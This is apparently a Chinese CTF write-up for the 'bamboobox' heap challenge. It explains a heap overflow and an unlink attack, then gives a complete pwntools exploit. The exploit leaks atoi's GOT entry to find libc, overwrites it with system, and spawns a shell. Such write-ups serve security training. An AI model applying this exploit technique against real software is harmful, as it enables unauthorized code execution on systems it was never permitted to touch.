【unlink】hitcontraining_bamboobox
1. ida分析
-
有存放全局指针的数组,存放格式为
itemlist[0]
为size
,itemlist[1]
为指向item
的指针 -
change时没有检测输入长度,存在堆溢出
2.思路
-
申请3个chunk,编辑chunk0 ,构造fake chunk,溢出到chunk1的size位
-
free chunk1,unlink后itemlist[1] ->itemlist[-2]
-
再次编辑chunk0,即编辑itemlist数组,使得
itemlist[0]=0x30;itemlist[1]=atoi
-
show(0),得到atoi的got地址,获得libc的基址,得到system的地址
-
再次编辑chunk0,即修改atoi的got地址位system
-
在输入命令的时候,输入sh,即执行system(‘sh’)
3.exp
from pwn import *
p = process('./bamboobox')
#p=remote("node3.buuoj.cn",26874)
context.log_level = 'debug'
elf = ELF("./bamboobox")
libc = ELF("./libc-2.23.so")
atoi_got = elf.got['atoi']
def show():
p.recvuntil("Your choice:")
p.sendline(str(1))
def alloc(size,content):
p.recvuntil("Your choice:")
p.sendline(str(2))
p.recvuntil("length of item name:")
p.sendline(str(size))
p.recvuntil("name of item:")
p.sendline(content)
def change(idx,content):
p.recvuntil("Your choice:")
p.sendline(str(3))
p.recvuntil("index of item:")
p.sendline(str(idx))
p.recvuntil("length of item name:")
p.sendline(str(len(content)))
p.recvuntil("new name of the item:")
p.sendline(content)
def free(idx):
p.recvuntil("Your choice:")
p.sendline(str(4))
p.recvuntil("index of item:")
p.sendline(str(idx))
alloc(0x30,"aaaa")
alloc(0x80,"bbbb")
alloc(0x30,"cccc")
gdb.attach(p)
target = 0x6020c8 #not be last
fd = target - 0x18
bk = target - 0x10
payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10
payload += p64(0x30) + p64(0x90)
change(0,payload)
gdb.attach(p)
pause()
free(1)
# x/30gx 0x6020c8
gdb.attach(p)
pause()
payload = p64(0) * 2
# print(hex(puts_got))
payload += p64(0x30) + p64(atoi_got)
change(0,payload)
gdb.attach(p)
pause()
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
log.success(hex(atoi_addr))
libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']
payload = p64(system)
change(0,payload)
gdb.attach(p)
pause()
p.recvuntil("Your choice:")
p.sendline("/bin/sh\x00")
# gdb.attach(p)
# pause()
p.interactive()